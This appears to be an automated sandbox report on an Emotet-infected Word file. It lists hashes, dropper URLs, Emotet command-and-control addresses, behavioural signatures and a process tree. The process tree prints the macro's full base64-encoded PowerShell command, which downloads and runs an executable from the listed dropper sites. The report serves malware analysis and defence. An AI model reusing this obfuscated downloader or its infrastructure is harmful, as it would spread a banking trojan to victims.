emotet | e8e1abf04faca60957e9b366085fa2af271a05579367e5fc2a843d16e62334b8

General

Target
FILE_55818152(1).doc
Size 175KB
Sample200803-8e7zzsd2yn
SHA256 e8e1abf04faca60957e9b366085fa2af271a05579367e5fc2a843d16e62334b8
MD5 90f87ce6b30ac4a8d8acb3d7886e01e1
SHA1 7b10ddd73a1fe7b4ad401329f1b07ee907557dbc
SHA512 b11656f4d62b824bd105a74eb2de858e6d9a4a5a886df1672af35f01efdb49818c07b2675e3cd84983ea21f74869cf060e32aee7a08b7e43b56350d7a5eef478
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://rikotut.net/rikotut4/vka_spx_tlz/
exe.dropper
http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/
exe.dropper
http://rivcon.net/images/ze1_r8_3jdpf63/
exe.dropper
http://rollingturtle.com/music/isef_vmr_p/
exe.dropper
http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/

Extracted

Family

emotet

C2

142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
113.160.130.116:8443
190.160.53.126:80
62.75.141.82:80
46.105.131.87:80
203.153.216.189:7080
46.105.131.79:8080
91.231.166.124:8080
81.2.235.111:8080
189.212.199.126:443
95.9.185.228:443
169.239.182.217:8080
47.153.182.47:80
116.203.32.252:8080
139.130.242.43:80
75.139.38.211:80
41.60.200.34:80
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
173.91.22.41:80
70.167.215.250:8080
110.145.77.103:80
85.59.136.180:8080
5.196.74.210:8080
24.234.133.205:80
76.27.179.47:80
104.131.11.150:443
87.106.136.232:8080
61.19.246.238:443
201.173.217.124:443
176.111.60.55:8080
200.55.243.138:8080
74.208.45.104:8080
139.59.60.244:8080
67.241.24.163:8080
24.43.99.75:80
93.51.50.171:8080
109.74.5.95:8080
137.59.187.107:8080
37.139.21.175:8080
157.245.99.39:8080
124.45.106.173:443
47.146.117.214:80
95.213.236.64:8080
62.138.26.28:8080
190.55.181.54:443
24.179.13.119:80
152.168.248.128:443
222.214.218.37:4143
168.235.67.138:7080
181.230.116.163:80
121.124.124.40:7080
79.98.24.39:8080
37.187.72.193:8080
162.154.38.103:80
78.24.219.147:8080
200.41.121.90:80
185.94.252.104:443
50.116.86.205:8080

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
3892	WINWORD.EXE
1604	174.exe
2120	tetheringclient.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3892	WINWORD.EXE
3892	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	856	2508	powersheLL.exe	67

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
856	powersheLL.exe
856	powersheLL.exe
856	powersheLL.exe
2120	tetheringclient.exe
2120	tetheringclient.exe
2120	tetheringclient.exe
2120	tetheringclient.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	856	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1604	174.exe
2120	tetheringclient.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1604-9-0x00000000022D0000-0x00000000022DC000-memory.dmp	emotet
behavioral2/memory/1604-9-0x00000000022D0000-0x00000000022DC000-memory.dmp	emotet
behavioral2/memory/2120-12-0x0000000000660000-0x000000000066C000-memory.dmp	emotet
behavioral2/memory/2120-12-0x0000000000660000-0x000000000066C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	856	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1604 wrote to memory of 2120	1604	174.exe	76
PID 1604 wrote to memory of 2120	1604	174.exe	76
PID 1604 wrote to memory of 2120	1604	174.exe	76

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dlnashext\tetheringclient.exe	174.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_55818152(1).doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3892

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:856

C:\Users\Admin\174.exe
C:\Users\Admin\174.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:1604
- C:\Windows\SysWOW64\dlnashext\tetheringclient.exe
  "C:\Windows\SysWOW64\dlnashext\tetheringclient.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:2120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1604-9-0x00000000022D0000-0x00000000022DC000-memory.dmp

Download

memory/2120-12-0x0000000000660000-0x000000000066C000-memory.dmp

Download

memory/3892-0-0x00000275AA50A000-0x00000275AA50F000-memory.dmp

Download

memory/3892-1-0x00000275AA6E3000-0x00000275AA6E8000-memory.dmp

Download

memory/3892-2-0x00000275AA507000-0x00000275AA50A000-memory.dmp

Download

memory/3892-4-0x00000275AA6E1000-0x00000275AA6E3000-memory.dmp

Download

memory/3892-5-0x00000275AA6E3000-0x00000275AA6E8000-memory.dmp

Download

memory/3892-6-0x00000275AA6E3000-0x00000275AA6E8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads